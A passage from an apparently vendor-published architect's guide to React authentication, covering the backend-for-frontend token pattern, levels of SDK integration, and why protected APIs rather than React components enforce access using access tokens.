<p>This removes token theft from React code as a direct concern because there is no OAuth token in the JavaScript environment to steal.</p>
<p>But it does not make the browser trusted.</p>
<p>If malicious JavaScript runs inside the page, it may still make requests to the BFF while the user's session is active. The session cookie can be sent automatically with those requests even though JavaScript cannot read it.</p>
<p>So the BFF changes the problem rather than eliminating it.</p>
<p>You still need to protect against script injection, and because authentication now relies on cookies, you also need to consider cross-site request forgery protections, cookie attributes such as HttpOnly, Secure and SameSite, and the lifetime of the application session.</p>
<p>There is also an architectural cost.</p>
<p>The BFF is now in the path of every protected request.</p>
<p>That means it becomes part of your application's availability, latency and scaling requirements. You also need somewhere to maintain the session and token state associated with each user.</p>
<p>So I would not think of the BFF as simply the "most secure" of the three patterns.</p>
<p>It is a different boundary.</p>
<p>You are moving authentication state and OAuth credentials out of the browser and accepting more responsibility on the backend.</p>
<p>For applications handling sensitive data, or where you already have a backend that naturally sits between React and the protected APIs, that can be a very useful trade.</p>
<p>At this point, the three patterns can be viewed as one progression:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Pattern 1</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React handles ID/access/possibly refresh tokens</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    ↓ move long-lived credentials out</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Pattern 2</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend handles authentication + refresh token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React handles short-lived access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    ↓ move all OAuth tokens out</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Pattern 3</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend handles all tokens</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React handles only an application session</span><br></span></code></pre></div></div>
<p>The question is not which pattern is universally correct.</p>
<p>The question is how much credential handling you want inside the browser, and how much backend responsibility you are willing to introduce to move it out.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-react-connects-to-identity">How React connects to identity<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#how-react-connects-to-identity" class="hash-link" aria-label="Direct link to How React connects to identity" title="Direct link to How React connects to identity" translate="no">​</a></h2>
<p>There are several levels at which you can integrate authentication into a React application.</p>
<p>I find it useful to think about these as three layers.</p>
<p>At the lowest level, your application understands most of the underlying protocol.</p>
<p>At the next level, an SDK handles the protocol and gives your React code authentication APIs.</p>
<p>At the highest level, the SDK also gives you ready-made React components.</p>
<p>You may see these referred to as <strong>L1, L2 and L3 SDKs</strong>.</p>
<p>The terminology is less important than the architectural question:</p>
<p><strong>How much authentication-specific behaviour do you want inside your application code?</strong></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l1-work-close-to-the-protocol">L1: work close to the protocol<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#l1-work-close-to-the-protocol" class="hash-link" aria-label="Direct link to L1: work close to the protocol" title="Direct link to L1: work close to the protocol" translate="no">​</a></h3>
<p>At this level you use a general OAuth or OpenID Connect client library and manage much of the application integration yourself.</p>
<p>You configure the authorization flow, process redirects, handle tokens, deal with expiry and refresh behaviour, and manage sign-out.</p>
<p>The advantage is control.</p>
<p>Your application is normally less coupled to one identity provider because it works directly against standard protocol behaviour.</p>
<p>The cost is that your application team now owns more identity-specific code.</p>
<p>I would use this level when protocol-level control or provider portability is an actual requirement, or when no suitable higher-level SDK exists.</p>
<p>I would not choose it simply because fewer abstractions look cleaner on an architecture diagram.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l2-use-a-headless-sdk">L2: use a headless SDK<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#l2-use-a-headless-sdk" class="hash-link" aria-label="Direct link to L2: use a headless SDK" title="Direct link to L2: use a headless SDK" translate="no">​</a></h3>
<p>At the next level, the SDK handles the protocol and exposes APIs that fit naturally into React.</p>
<p>For example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"> user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> signIn</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> signOut </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useAuth</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><br></span></code></pre></div></div>
<p>The SDK takes responsibility for things such as redirects, token lifecycle and authentication state.</p>
<p>Your application still owns the interface.</p>
<p>You decide how the sign-in button looks, how errors are shown, what loading looks like and how user information fits into the rest of your design system.</p>
<p>This is often a good balance for React applications where authentication should behave like part of the product rather than a separate UI.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="l3-use-higher-level-react-components">L3: use higher-level React components<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#l3-use-higher-level-react-components" class="hash-link" aria-label="Direct link to L3: use higher-level React components" title="Direct link to L3: use higher-level React components" translate="no">​</a></h3>
<p>At the highest level, the SDK provides the React integration as well as ready-made components.</p>
<p>You may get components for sign-in, sign-out, user profiles and other common authentication experiences.</p>
<p>This reduces the amount of application code you need to write.</p>
<p>The trade-off is coupling.</p>
<p>Your JSX now contains components and APIs from a particular SDK. If you later change identity providers, that integration becomes part of the migration.</p>
<p>That may still be the right trade.</p>
<p>If the component gives your team a production-ready sign-in experience quickly and you have no strong requirement for provider portability, avoiding unnecessary authentication code can be more valuable than optimizing for a migration that may never happen.</p>
<p>The three levels look like this.</p>
<table><thead><tr><th>Integration level</th><th>Protocol handling</th><th>UI handling</th><th>Provider coupling</th></tr></thead><tbody><tr><td>L1: protocol-level</td><td>Mostly your application</td><td>Your application</td><td>Lowest</td></tr><tr><td>L2: headless SDK</td><td>SDK</td><td>Your application</td><td>Medium</td></tr><tr><td>L3: component SDK</td><td>SDK</td><td>Mostly SDK</td><td>Highest</td></tr></tbody></table>
<p>There is another part of this decision I would not ignore: who maintains the SDK.</p>
<p>A provider-maintained SDK is normally the most closely aligned with that identity platform and may support new provider capabilities first.</p>
<p>A community-maintained SDK can provide more independence from any one provider, but you should look carefully at maintenance activity, release frequency and the number of people actively supporting it.</p>
<p>A standards-oriented library may offer the least provider coupling, but you normally work closer to OAuth and OIDC concepts.</p>
<p>This is why choosing an SDK is an architectural decision rather than simply a package-selection decision.</p>
<p>Now React knows who the user is.</p>
<p>The next question is what your application should actually do with that information.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="using-identity-inside-the-react-application">Using identity inside the React application<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#using-identity-inside-the-react-application" class="hash-link" aria-label="Direct link to Using identity inside the React application" title="Direct link to Using identity inside the React application" translate="no">​</a></h2>
<p>After authentication, your React application normally has some information about the user.</p>
<p>Depending on your setup, this may come from an ID token, a user-info endpoint, a session API or your own backend.</p>
<p>The information may include things such as a user identifier, name and email, roles, groups, scopes or permissions, and organization or tenant information.</p>
<p>React can use this information to shape the application experience.</p>
<p>As an example, you may only show an administration menu when the user has the appropriate role:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">roles</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">includes</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"admin"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AdminMenu</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>Or you might enable a particular operation based on a permission:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">permissions</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">includes</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"invoice:approve"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">ApproveInvoiceButton</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>This is where identity becomes useful inside the application rather than simply being something that happened during sign-in.</p>
<p>But there is an important boundary.</p>
<p><strong>A frontend access check is a user-experience decision, not the final security decision.</strong></p>
<p>If React hides a button, that prevents the normal user from clicking the button.</p>
<p>It does not prevent somebody from calling the corresponding API themselves.</p>
<p>The browser is still under the user's control.</p>
<p>So frontend authorization can help you present the correct interface, but every sensitive operation still needs to be checked again by the backend.</p>
<p>This is the point where the two identity concepts we introduced earlier become useful.</p>
<p>Authentication answered: <strong>who is this user?</strong></p>
<p>Authorization now answers: <strong>is this user allowed to perform this operation?</strong></p>
<p>React can participate in authorization by shaping the UI.</p>
<p>The backend must enforce it.</p>
<p>That leads us to the final part of the architecture.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="calling-a-protected-backend">Calling a protected backend<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#calling-a-protected-backend" class="hash-link" aria-label="Direct link to Calling a protected backend" title="Direct link to Calling a protected backend" translate="no">​</a></h2>
<p>Once the user is signed in, your React application normally needs to call one or more protected APIs.</p>
<p>This is where the <strong>OAuth 2.0 access token</strong> comes into play.</p>
<p>As we discussed earlier, the ID token is used to establish the authenticated user. The access token has a different purpose: it is the credential presented to a protected API.</p>
<p>If React handles access tokens directly, the request normally looks like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Authorization: Bearer &lt;access-token&gt;</span><br></span></code></pre></div></div>
<p>The API should treat that token as a credential, not simply as a piece of JSON containing user information.</p>
<p>Before doing anything with the request, the API needs to validate the access token. Depending on the token type and the identity system, that may involve checking its signature or using token introspection.</p>
<p>At a minimum, the API needs to establish that the token came from an issuer it trusts, has not expired, and was issued for that API.</p>
<p>Once the token is accepted, the API can use the information associated with it to make an access-control decision.</p>
<p>As an example, assume your React application shows an <strong>Approve invoice</strong> button because the authenticated user has the appropriate permission.</p>
<p>The frontend check gives the user the correct experience:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">permissions</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">includes</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"invoice:approve"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">ApproveInvoiceButton</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>When the user clicks that button, React sends a request to the protected API using the access token.</p>
<p>The API must still make its own decision about whether that access token allows the operation.</p>
<p>That decision may be based on scopes, roles, permissions or application-specific policy. The exact model can vary, but the architectural rule does not:</p>
<p><strong>React can use identity information to decide what to show. The protected API must use the access token to decide what the caller is allowed to do.</strong></p>
<p>This is also why you should not rely on the ID token when calling an API.</p>
<p>The ID token was issued to the client application so it can establish the user's authenticated identity. The access token was issued for access to a protected resource.</p>
<p>Even if both happen to be JWTs and contain similar-looking claims, they have different purposes and different intended audiences.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-changes-with-the-three-token-handling-patterns">What changes with the three token-handling patterns?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#what-changes-with-the-three-token-handling-patterns" class="hash-link" aria-label="Direct link to What changes with the three token-handling patterns?" title="Direct link to What changes with the three token-handling patterns?" translate="no">​</a></h3>
<p>The access token still exists in all three architectures. What changes is who handles it.</p>
<p>If React handles the tokens directly:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>React obtains the access token and sends it with the API request.</p>
<p>If your backend handles part of the token flow:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Short-lived access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>The backend keeps the refresh token and gives React only the short-lived access token it needs for API calls.</p>
<p>With a BFF:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Application session</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>React never receives the access token. It calls the BFF using its application session, and the BFF presents the access token to the protected API.</p>
<p>This is an important point because the BFF does not remove OAuth access tokens from the architecture. It moves them away from the browser.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-api-is-the-final-enforcement-point">The API is the final enforcement point<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#the-api-is-the-final-enforcement-point" class="hash-link" aria-label="Direct link to The API is the final enforcement point" title="Direct link to The API is the final enforcement point" translate="no">​</a></h3>
<p>Regardless of which of these patterns you choose, the protected API must enforce access independently from React.</p>
<p>A route guard such as this:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Route</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">path</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">/admin</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">user</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token tag script language-javascript property-access" style="color:rgb(153, 76, 195)">isAdmin</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript operator" style="color:rgb(12, 150, 155)">?</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">Admin</span><span class="token tag script language-javascript tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript operator" style="color:rgb(12, 150, 155)">:</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">Navigate</span><span class="token tag script language-javascript tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">to</span><span class="token tag script language-javascript tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag script language-javascript tag attr-value" style="color:rgb(153, 76, 195)">/</span><span class="token tag script language-javascript tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag script language-javascript tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)"></span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><br></span></code></pre></div></div>
<p>is useful for controlling what the user sees.</p>
<p>It is not an access-control boundary.</p>
<p>Someone can bypass the React application and call the API directly.</p>
<p>So the API must validate the access token and make the same access decision before performing the protected operation.</p>
<p>This gives us a clean separation of responsibilities:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">ID token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Establish who signed in</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Client application / BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Request access to a protected resource</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Validate token + enforce access</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Resource</span><br></span></code></pre></div></div>
<p>The distinction between these two tokens is one of the most useful things to keep clear in the overall architecture.</p>
<p>The <strong>ID token establishes the authenticated identity for the client</strong>.</p>
<p>The <strong>access token carries the authority needed to call the protected API</strong>.</p>
<p>Once those two responsibilities are separated, it becomes much easier to reason about what React should know, what the backend should know, and where the final access decision belongs.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="putting-the-architecture-together">Putting the architecture together<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#putting-the-architecture-together" class="hash-link" aria-label="Direct link to Putting the architecture together" title="Direct link to Putting the architecture together" translate="no">​</a></h2>
<p>At this stage, the pieces connect.</p>
<p>You started with a React application that needed sign-in.</p>
<p>First, you established that identity is larger than a login screen and that the trusted part of it cannot live inside the browser.</p>
<p>Then you decided where identity should run: inside your own implementation, through an application authentication library, as a separate self-hosted identity server, or as a managed identity service.</p>
<p>Once the user authenticated, you decided who should handle the tokens: React, React plus your backend, or your backend completely, using the BFF pattern.</p>
<p>Then you decided how much of the identity integration should appear inside your React code: L1 protocol-level integration, L2 headless SDK, or L3 higher-level React components.</p>
<p>Finally, React used the authenticated identity to shape the application experience, while the backend remained responsible for enforcing the real access-control decision.</p>
<p>That gives you the complete architecture:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">                +----------------------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                |    Identity System   |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                +----------+-----------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                     Authentication</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">+--------+          +---------+----------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">|  User  | -------&gt; | React Application  |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">+--------+          +---------+----------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                     Session / Token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                +---------+---------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                | Protected Backend |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                +---------+---------+</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                     Authorization</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                           v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">                       Resources</span><br></span></code></pre></div></div>
<p>There are several products, SDKs and protocol options behind each box, but I would not start by choosing those.</p>
<p>Start by deciding the boundaries.</p>
<p>Who owns identity? Who handles the token? How much identity logic belongs in React? And where is access actually enforced?</p>
<p>Once those decisions are clear, evaluating a particular identity platform or React SDK becomes much easier because you are evaluating it against an architecture rather than allowing the product to define the architecture for you.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="choosing-the-identity-platform-after-the-architecture">Choosing the identity platform after the architecture<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#choosing-the-identity-platform-after-the-architecture" class="hash-link" aria-label="Direct link to Choosing the identity platform after the architecture" title="Direct link to Choosing the identity platform after the architecture" translate="no">​</a></h2>
<p>Only now does provider selection become a useful question.</p>
<p>You are no longer asking which identity platform is "best for React."</p>
<p>You can ask whether it supports the architecture you already decided.</p>
<p>A few things become particularly useful to check.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="does-it-support-standard-protocols">Does it support standard protocols?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#does-it-support-standard-protocols" class="hash-link" aria-label="Direct link to Does it support standard protocols?" title="Direct link to Does it support standard protocols?" translate="no">​</a></h3>
<p>OAuth 2.0 and OpenID Connect matter because they create a standard boundary between your application and the identity system.</p>
<p>A standards-based architecture does not make provider migration free, but it reduces how much of the integration needs to be proprietary.</p>
<p>Where certification is important to your requirements, you can also verify whether the provider has relevant OpenID certifications rather than relying only on compatibility claims.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="can-it-run-where-you-need-it">Can it run where you need it?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#can-it-run-where-you-need-it" class="hash-link" aria-label="Direct link to Can it run where you need it?" title="Direct link to Can it run where you need it?" translate="no">​</a></h3>
<p>Some teams want a public managed service.</p>
<p>Others require self-hosting, private cloud or environments without public internet access.</p>
<p>This is normally a much more important architectural requirement than a small difference in SDK APIs.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="does-it-match-your-application-model">Does it match your application model?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#does-it-match-your-application-model" class="hash-link" aria-label="Direct link to Does it match your application model?" title="Direct link to Does it match your application model?" translate="no">​</a></h3>
